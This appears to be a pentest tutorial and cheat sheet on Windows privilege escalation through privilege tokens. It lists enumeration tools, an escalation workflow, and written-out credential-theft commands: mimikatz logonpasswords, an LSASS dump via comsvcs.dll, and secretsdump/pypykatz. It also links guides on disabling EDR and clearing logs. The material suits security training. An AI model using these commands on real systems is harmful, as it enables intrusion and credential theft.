Windows Privilege Escalation 2026: A Complete Guide to Privilege Tokens (SE*)

Windows Privilege Escalation 2026: A Complete Guide to Privilege Tokens (SE*) #

You have a shell on a Windows machine. The next step is almost always the same: whoami /privThat one line tells you everything — what privileges you have, what carriers are available, how close you are to nt authority\systemThis guide covers all the Windows privilege token exploitable in a pentest, with links to complete how-to guides for each.

What is a Privilege Token on Windows? #

Windows assigns each process an access token —a structure containing the user's identity, group membership, and a list of privileges (SePrivilege). These privileges control what the process can do at the system level: impersonate users, debug other processes, load drivers, and read files bypassing ACLs.

Most of the privileges are present in the token but disabled — processes enable them when they need them via AdjustTokenPrivileges. Some tools like GodPotato, mimikatz and the various Potato attacks automatically enable them before the exploit.

Enumeration — The First Step #

Quick privilege check #

whoami /priv

This is the most important command in Windows post-exploitation. Always run it immediately after gaining access.

Complete automatic enumeration #

winPEAS — the most widely used tool for automatic enumeration on Windows. Detects privileges, vulnerable services, saved credentials, hijackable paths, and more:

winPEAS.exe quiet tokencheck
winPEAS.exe

Seatbelt — C# host-side security auditing tool, quieter than winPEAS:

Seatbelt.exe TokenPrivileges
Seatbelt.exe -group=all

accesschk — Sysinternals, checks who has a specific privilege on the system:

accesschk.exe -a SeImpersonatePrivilege *
accesschk.exe -a SeDebugPrivilege *

SharpUp — Quick audit of the most common escalation vectors:

SharpUp.exe audit

PrivescCheck — alternative PowerShell script to winPEAS:

. .\PrivescCheck.ps1; Invoke-PrivescCheck

Privilege Token Map — From Privilege to SYSTEM #

Each privilege opens different vectors. This table is a quick reference—find your privilege and go directly to the how-to guide.

Tier 1 — SYSTEM Immediate #

The most common in real pentests. If you have one of these, you're close to SYSTEM.

Tier 2 — SYSTEM with a Target Service #

They require an exploitable SYSTEM service in the environment — almost always present.

Tier 3 — Domain Compromise #

Vectors that start from domain accounts even without local privileges.

Tier 4 — Conditional / Specific #

They require special conditions in the environment or are rare on non-system accounts.

Tier 5 — Critical: Document Immediately #

Almost exclusive to SYSTEM processes. Finding them on non-system accounts is a P0 finding.

Escalation Workflow — From Shell to SYSTEM #

Step 1 — List now #

whoami /priv
whoami /groups
whoami /all

Then automate:

winPEAS.exe quiet tokencheck
Seatbelt.exe TokenPrivileges

Step 2 — Identify the vector #

Do you have SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege? → Potato attack → SYSTEM in 2 commands.

Are you in the Backup Operators group? → SeBackupPrivilege + SeRestorePrivilege → SAM dump + binary replacement.

Do you have SeDebugPrivilege in elevated token? → comsvcs.dll MiniDump → LSASS → NTLM hash → PTH.

Are you in Print Operators? → SeLoadDriverPrivilege → BYOVD → ring-0 → bypass PPL and EDR.

Do you only have domain credentials? → MachineAccountQuota → RBCD → Domain Admin.

Step 3 — Run the Quick Exploit #

Each guide in the series has a Quick Exploit block with the bare minimum commands. Always start there.

Phase 4 — Post-SYSTEM: Dump and Persistence #

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

Or without external tools:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump [PID lsass] C:\temp\lsass.dmp full

On attacking machine:

python3 pypykatz lsa minidump lsass.dmp
python3 secretsdump.py -sam sam.hive -system system.hive LOCAL

Essential Tools — Cheatsheet #

Enumeration #

Potato Attack (SeImpersonatePrivilege) #

Credential Dump #

Active Directory #

Kernel / Driver #

AD Groups to Always Monitor #

Some Active Directory groups assign critical privileges by design. Always check for them in the enumeration:

net localgroup "Backup Operators"
net localgroup "Print Operators"
net localgroup "Server Operators"
net localgroup Administrators

Get-ADGroupMember "Backup Operators" -Recursive | Select-Object Name, SamAccountName
Get-ADGroupMember "Print Operators" -Recursive | Select-Object Name, SamAccountName

Verify Elevated or Not Elevated Token (UAC) #

Many privileges — SeDebugPrivilege, SeTakeOwnershipPrivilege, SeImpersonatePrivilege — are present in the token but disabled outside an elevated process.

whoami /groups | findstr "Mandatory"

• High Mandatory Level → elevated token → enableable privileges
• Medium Mandatory Level → non-elevated token (split UAC) → some privileges disabled

If you are on Medium and need a high token:

runas /user:Administrator cmd

Or use a UAC bypass (outside the scope of this guide — depends on your environment).

Detection — What Windows Logs #

If you are in a monitored environment, these are the Event IDs that generate alerts most frequently:

For OpSec management and how to reduce noise: → SeSecurityPrivilege — Clear Logs and Operate Invisibly

External References #

• HackTricks — Windows Local Privilege Escalation
• PayloadsAllTheThings — Windows PrivEsc
• MITER ATT&CK — Privilege Escalation
• LOLDrivers — Vulnerable Driver List

Complete Series Index #

Complete operational guide for every Windows privilege exploitable in a pentest:

1. SeImpersonatePrivilege — Potato Attack from Webshell to SYSTEM
2. SeAssignPrimaryTokenPrivilege — Potato Attack Even Without SeImpersonate
3. SeBackupPrivilege — Dump SAM and NTDS.dit without Shell on DC
4. SeRestorePrivilege — Binary Replacement and Persistent Backdoor
5. SeDebugPrivilege — LSASS Dump and Credential Access
6. SeTakeOwnershipPrivilege — Arbitrary Ownership on Files and SYSTEM Services
7. SeLoadDriverPrivilege — BYOVD, Kernel Code Execution and Kill EDR
8. SeCreateSymbolicLinkPrivilege — Symlink Attack and Arbitrary Writing
9. SeManageVolumePrivilege — Raw Disk Access to Extract SAM and NTDS.dit
10. SeDelegateSessionUserImpersonatePrivilege — Cross-Session Token Stealing on RDS
11. SeCreateTokenPrivilege — Token Forgery from Scratch with NtCreateToken
12. SeTcbPrivilege — Arbitrary Logon Session via LSA
13. SeSecurityPrivilege — Clear Logs and Operate Invisibly
14. SeTrustedCredManAccessPrivilege — Dump RDP Credentials and Saved Passwords
15. SeRelabelPrivilege — Bypass Mandatory Integrity Control
16. SeMachineAccountPrivilege — RBCD from Domain User to Domain Admin
17. SeSystemEnvironmentPrivilege — PATH Hijacking and UEFI Persistence

Found a perk not listed here or need support for a specific engagement? hackita.it/supporto

For complete assessments of privilege escalation and Active Directory: hackita.it/servizi